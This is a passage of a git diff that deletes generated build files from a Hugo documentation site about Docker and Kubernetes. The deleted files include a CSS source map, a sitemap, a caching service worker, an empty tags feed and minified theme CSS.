Q4Yy0wLjI3OCwwLjE1NC0wLjUwOCwwLjMzNi0wLjU5NCwwLjU4NgljLTAuMTE1LDAuMjMxLTAuMjIxLDAuNDcxLTAuMzA3LDAuNzExYy0wLjE3MywwLjUtMC4zMjYsMC45OTktMC4zMzYsMS41NjZjLTAuMDE5LDAuNTc2LTAuNTA4LDEuMDI4LTEuMDgzLDEuMDA5CWMtMC41NzUtMC4wMTktMS4wMjYtMC40OTktMS4wMDctMS4wNzZjMC4wMS0wLjI5OCwwLjE0NC0wLjU1NywwLjM0NS0wLjc0YzAuNDIyLTAuMzg0LDAuNzEtMC44MjYsMC45NzgtMS4yNjgJYzAuMTI1LTAuMjMxLDAuMjQtMC40NjEsMC4zNDUtMC43MDFjMC4xMzQtMC4yMjEsMC4xMjUtMC41MTksMC4wNjctMC44MzZjLTAuMDY3LTAuMjk4LDAtMC41MzgsMC4wNzctMC43NTkJQzE4LjY2NywzNS4xMSwxOS4zNDgsMzUuNDM2LDIwLjA1NywzNS42ODZ6Ij48L3BhdGg+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTMxLjQzOCwzOS43ODhjLTAuMzkzLDAuNDIzLTEuMDQ1LDAuNDUxLTEuNDc3LDAuMDY3Yy0wLjIyMS0wLjIwMi0wLjMzNi0wLjQ3MS0wLjMzNi0wLjc0OQljLTAuMDE5LTAuNTY3LTAuMTYzLTEuMDY2LTAuMzM2LTEuNTY2Yy0wLjA4Ni0wLjI0LTAuMTgyLTAuNDgtMC4yOTctMC43MmMtMC4wODYtMC4yNS0wLjMxNi0wLjQyMy0wLjU5NS0wLjU4NgljLTAuMjY4LTAuMTQ0LTAuNDAzLTAuMzQ2LTAuNTM3LTAuNTY3YzAuNzE5LTAuMjU5LDEuNDA5LTAuNTk2LDIuMDUyLTAuOTg5djAuMDFjMC4wNzcsMC4yNSwwLjE2MywwLjQ5LDAuMDg2LDAuODE3CWMtMC4wNjcsMC4zMTctMC4wNzcsMC42MDUsMC4wNTgsMC44MzZjMC4xMDUsMC4yMzEsMC4yMjEsMC40NzEsMC4zNDUsMC42OTJjMC4yNTksMC40NTEsMC41NDcsMC45MDMsMC45NjgsMS4yNzgJQzMxLjc5MywzOC43MDIsMzEuODIyLDM5LjM1NiwzMS40MzgsMzkuNzg4eiI+PC9wYXRoPjxwYXRoIGZpbGw9Im5vbmUiIGQ9Ik0zOS42NDYsMjguODQ2Yy0wLjI4OCwwLjA2Ny0wLjU3NSwwLTAuODA1LTAuMTQ0Yy0wLjQ3LTAuMzE3LTAuOTY4LTAuNDktMS40NjctMC42MzQJYy0wLjI0OS0wLjA2Ny0wLjUwOC0wLjEyNS0wLjc1Ny0wLjE2M2MtMC4yNDktMC4wNzctMC41MzcsMC0wLjgyNSwwLjEzNGMtMC4yODgsMC4xNjMtMC41NDcsMC4xMzUtMC44MTUsMC4xMTVoLTAuMDI5CWMwLjIyMS0wLjcyLDAuMzY0LTEuNDcsMC40NDEtMi4yMzhoMC4wMWMwLjI0OSwwLjA3NywwLjQ5OSwwLjE0NCwwLjcxOSwwLjQwM2MwLjIyMSwwLjIzMSwwLjQ1MSwwLjQwMywwLjcxLDAuNDIzCWMwLjI1OSwwLjA1OCwwLjUwOCwwLjA5NiwwLjc2NywwLjEyNWMwLjUyNywwLjA0OCwxLjA0NSwwLjA2NywxLjYwMS0wLjA1OGMwLjU2Ni0wLjEyNSwxLjEyMiwwLjIzMSwxLjI0NiwwLjc5NwlDNDAuNTY2LDI4LjE2NCw0MC4yMTEsMjguNzIxLDM5LjY0NiwyOC44NDZ6Ij48L3BhdGg+Cjwvc3ZnPg==') 50% 50% no-repeat;\n background-size: 100%; }" - ], - "names": [], - "mappings": "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" -} \ No newline at end of file diff --git a/public/sitemap.xml b/public/sitemap.xml deleted file mode 100644 index a6f1c97..0000000 --- a/public/sitemap.xml +++ /dev/null @@ -1,319 +0,0 @@ - - - - https://kubedaily.com/docker/helper/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/blog/flannel/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/blog/arkade-open-source-marketplace-for-kubernetes/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/blog/certmanager/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/blog/okteto/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/blog/werf/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/categories/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/ - 2023-12-01T10:07:34+05:30 - - https://kubedaily.com/categories/kubernetes/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/basics-of-pod/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/dive/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/docker-architecture-and-its-components/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/pre-requisit-for-this-lab/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/yarahunter-malware-scanner-for-container-images/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/attack-surface-of-the-container-ecosystem/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/auditing-docker-security/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/blog/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/build-a-base-image-from-scratch/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/build-own-dockerfile-and-docker-compose-with-custom-configuration/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/capabilities/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/cgroups/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/configmap/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/container-advantage-and-disadvantages/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/container-image-security/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/overview/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/container-vs-virtualization/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/content-trust-and-integrity-checks/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/create-pod-with-command-and-arguments/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/deployments-and-replication/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-build-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-config-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-cp-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-create-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-down-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-events-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-exec-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-images-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-kill-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-logs-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-ls-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-pause-unpause-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-port-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-ps-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-pull-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-push-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-restart-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-rm-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-cli-run-command/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-compose-with-volume-mount/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/docker-daemon-security-configurations/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/docker-events/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-hello-world-example/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/docker-host-security-configurations/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-image-filtering/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/docker-networking/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/docker-registry-security-configurations/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/docker-volumes/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/docker-wordpress-example/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-add-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-arg-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-cmd-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-copy-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-entrypoint-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-env-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-healthcheck-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-onbuild-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-run-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-user-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-volume-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/dockerfile-lab-workdir-instruction/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/dockerfile-security-best-practices/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/ - 2023-12-01T10:07:34+05:30 - - https://kubedaily.com/containersecurity/dockerscan/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/environment-variables/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/host-volume-mount-data-persistentence/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/images-and-container-as-tar-file/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/ingress-controller/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/interacting-with-container-ecosystem/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/ - 2023-12-01T10:07:34+05:30 - - https://kubedaily.com/k8s/overview/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/kubernetes-service/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/labels-and-selectors/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/multi-container-pods/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/named-volume-mount-data-persistentence/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/namespaces/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/newtorking-in-docker-compose/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/newtorking-in-docker-compose-with-ngnix/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/overview/ - 2023-12-01T10:07:34+05:30 - - https://kubedaily.com/docker/pre-requisit-for-this-lab/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/push-first-nginx-web-app-to-dockerhub/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/rbac/ - 2023-12-01T10:07:34+05:30 - - https://kubedaily.com/docker/running-multiple-docker-containers-from-cli/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/scanning-docker-for-vulnerabilities-with-thraetmappeper/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/secretscanner-finding-secrets-and-passwords-in-container-images-and-file-systems/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/security-linting-of-dockerfiles/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/k8s/service-type-nodeportclusteriploadbalancer/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/setup-local-network/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/setup-remote-network/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/simple-php-apache-and-database-using-docker-compose/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/sock-shop-docker-compose-and-weave/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/containersecurity/static-analysis-of-container-images-library-for-container/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/tags/ - - https://kubedaily.com/containersecurity/what-is-container/ - 2023-11-26T03:42:37+05:30 - - https://kubedaily.com/docker/write-first-docker-compose-file/ - 2023-11-26T03:42:37+05:30 - - diff --git a/public/sw.js b/public/sw.js deleted file mode 100644 index e13c4c6..0000000 --- a/public/sw.js +++ /dev/null @@ -1,61 +0,0 @@ -const cacheName = 'docura-{{ now.Format "2006-01-02" }}'; -const staticAssets = [ - './', - './index.html', - './manifest.json', - './docs/**/*', - './font/*', - './img/icon/favicon.ico', - './img/icon/icon-16.png', - './img/icon/icon-32.png', - './img/icon/icon-180.png', - './img/icon/icon-192.png', - './img/icon/icon-512.png', - './img/icon/icon-vector.svg', - './img/icon/maskable-icon-192.png', - './img/icon/maskable-icon-512.png', - './js/base.min.js', - './js/component/docsearch.min.js', - './scss/base.css', - './scss/component/docsearch.css', - './scss/home.css', -]; - -self.addEventListener('install', async e => { - const cache = await caches.open(cacheName); - await cache.addAll(staticAssets); - return self.skipWaiting(); -}); - -self.addEventListener('activate', e => { - self.clients.claim(); -}); - -self.addEventListener('fetch', async e => { - const req = e.request; - const url = new URL(req.url); - - if (url.origin === location.origin) { - e.respondWith(cacheFirst(req)); - } else { - e.respondWith(networkFirst(req)); - } -}); - -async function cacheFirst(req) { - const cache = await caches.open(cacheName); - const cached = await cache.match(req); - return cached || fetch(req); -} - -async function networkFirst(req) { - const cache = await caches.open(cacheName); - try { - const fresh = await fetch(req); - cache.put(req, fresh.clone()); - return fresh; - } catch (e) { - const cached = await cache.match(req); - return cached; - } -} \ No newline at end of file diff --git a/public/tags/index.xml b/public/tags/index.xml deleted file mode 100644 index fb0d1ce..0000000 --- a/public/tags/index.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - Tags on kubedaily - https://kubedaily.com/tags/ - Recent content in Tags on kubedaily - Hugo -- gohugo.io - en - - - diff --git a/resources/_gen/assets/scss/scss/base.scss_7724f67189cff0c6ae476b070cf609b9.content b/resources/_gen/assets/scss/scss/base.scss_7724f67189cff0c6ae476b070cf609b9.content deleted file mode 100644 index 230c42c..0000000 --- a/resources/_gen/assets/scss/scss/base.scss_7724f67189cff0c6ae476b070cf609b9.content +++ /dev/null @@ -1,7 +0,0 @@ -/*! - * Docura (https://docura.github.io/) - * Copyright 2022-2023 Dumindu Madunuwan - * Licensed under the MIT License. - */*:where(:not(html, iframe, canvas, img, svg, video, audio, pre, code):not(svg *, symbol *)){all:unset;display:revert}*,*::before,*::after{box-sizing:border-box}html{-moz-text-size-adjust:none;-webkit-text-size-adjust:none;text-size-adjust:none}a,button{cursor:revert}ol,ul,menu{list-style:none}img{max-inline-size:100%;max-block-size:100%}table{border-collapse:collapse}input,textarea{-webkit-user-select:auto}textarea{white-space:revert}meter{-webkit-appearance:revert;appearance:revert}:where(pre){all:revert;box-sizing:border-box}::placeholder{color:unset}::marker{content:initial}:where([hidden]){display:none}:where([contenteditable]:not([contenteditable="false"])){-moz-user-modify:read-write;-webkit-user-modify:read-write;overflow-wrap:break-word;-webkit-line-break:after-white-space;-webkit-user-select:auto}:where([draggable="true"]){-webkit-user-drag:element}:where(dialog:modal){all:revert;box-sizing:border-box}pre,code{margin:0}:root{--site-header-height: 46px;--site-footer-height: 46px}@media (min-width: 1025px) and (max-width: 1280px),(min-width: 1024px) and (max-width: 1280px) and (orientation: portrait){:root{--site-header-height: 60px;--site-footer-height: 60px}}@media (min-width: 1281px){:root{--site-header-height: 80px;--site-footer-height: 80px}}body{font-family:var(--font-family);background:var(--background);color:var(--color);display:flex;flex-direction:column;min-height:100svh}#site-header{display:grid;grid-template-columns:2fr 1fr;grid-template-rows:repeat(3, var(--site-header-height))}#site-header-menu,#site-header-search{grid-column:1 / 3}#site-footer{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:repeat(3, var(--site-footer-height))}#site-footer-copyright,#site-footer-love{grid-column:1 / 3}#site-main-content-wrapper{display:flex;flex:1}#sidebar,#toc,#article-nav,#sidebar .btn-close,#toc .btn-close{display:none}main{flex:1;display:flex;overflow:auto}#article{flex:1;width:100vw}#sidebar{width:85%;left:-85%}#toc{width:85%;right:-85%}@media (min-width: 768px) and (max-width: 1023px){#site-header{grid-template-columns:repeat(6, 1fr);grid-template-rows:repeat(2, var(--site-header-height))}#site-header-brand{grid-column:1 / 6}#site-header-controls{grid-column:6 / 7}#site-header-menu{grid-column:1 / 5}#site-header-search{grid-column:5 / 7}#site-footer{grid-template-columns:repeat(4, 1fr);grid-template-rows:repeat(2, var(--site-footer-height))}#site-footer-copyright{grid-column:1 / 3}#site-footer-social{grid-column:3 / 4}#site-footer-fund{grid-column:4 / 5}#site-footer-love{grid-column:1 / 5}#sidebar{width:50%;left:-50%}#toc{width:50%;right:-50%}}@media (min-width: 1024px){#site-header{grid-template-columns:repeat(6, 1fr);grid-template-rows:var(--site-header-height)}#site-header-brand{grid-column:1 / 2}#site-header-menu{grid-column:2 / 5;grid-row:1}#site-header-search{grid-column:5 / 6;grid-row:1}#site-header-controls{grid-column:6 / 7}#site-footer{grid-template-columns:repeat(5, 1fr);grid-template-rows:var(--site-footer-height)}#site-footer-copyright{grid-column:1 / 3}#site-footer-love{grid-column:3 / 4;grid-row:1}#site-footer-social{grid-column:4 / 5}#site-footer-fund{grid-column:5 / 6}#article-nav-toc-btn{display:none}}@media (min-width: 1024px) and (max-width: 1279px){#sidebar{width:33%;left:-33%}#article{width:75vw}#toc{width:25%;display:flex;flex-direction:column}#toc .sticky{position:fixed;right:0;width:25%}}@media (min-width: 1280px){#sidebar{width:20%;display:flex;flex-direction:column}#article{width:60vw}#toc{width:25%;display:flex;flex-direction:column}#sidebar .sticky{position:fixed;left:0;width:20%}#toc .sticky{position:fixed;right:0;width:20%}}@media (max-width: 1023px){#toc{position:fixed;top:0;height:100%;transition:.3s;z-index:300;overflow-x:auto;background:var(--background);box-shadow:0 4px 30px rgba(0,0,0,0.1)}:root[data-color="dark"] #toc,:root[data-color="night"] #toc{box-shadow:0 4px 30px rgba(255,255,255,0.1)}.offcanvas-toc-on #toc{animation:slide-in-right .3s forwards;display:flex;flex-direction:column;padding-left:16px;z-index:10;cursor:default}.offcanvas-toc-on:before{content:"";position:fixed;top:0;left:0;width:100%;height:100%;z-index:5}.offcanvas-toc-on #toc .btn-close{display:block;position:absolute;top:10px;left:10px}#article-nav-toc-btn{display:flex;box-shadow:var(--box-shadow2);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap;gap:6px;color:var(--color2)}}@media (max-width: 1279px){#sidebar{position:fixed;top:0;height:100%;transition:.3s;z-index:200;overflow-x:auto;background:var(--background);box-shadow:0 4px 30px rgba(0,0,0,0.1)}:root[data-color="dark"] #sidebar,:root[data-color="night"] #sidebar{box-shadow:0 4px 30px rgba(255,255,255,0.1)}.offcanvas-sidebar-on #sidebar{animation:slide-in-left .3s forwards;display:flex;flex-direction:column;z-index:10;cursor:default}.offcanvas-sidebar-on:before{content:"";position:fixed;top:0;left:0;width:100%;height:100%;z-index:5}.offcanvas-sidebar-on #sidebar .btn-close{display:block;position:absolute;top:10px;right:10px}#article-nav{display:flex;gap:12px;overflow:auto;justify-content:space-between;height:var(--site-header-height);align-items:center;padding:0 2px}#article-nav-menu-btn{display:flex;box-shadow:var(--box-shadow2);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap;gap:6px;color:var(--color2)}}body.offcanvas-sidebar-on,body.offcanvas-toc-on{cursor:pointer;overflow:hidden}.offcanvas-sidebar-on:before,.offcanvas-toc-on:before{background:rgba(255,255,255,0.1);backdrop-filter:blur(var(--blur));-webkit-backdrop-filter:blur(var(--blur))}@keyframes slide-in-left{from{transform:translateX(0)}to{transform:translateX(100%)}}@keyframes 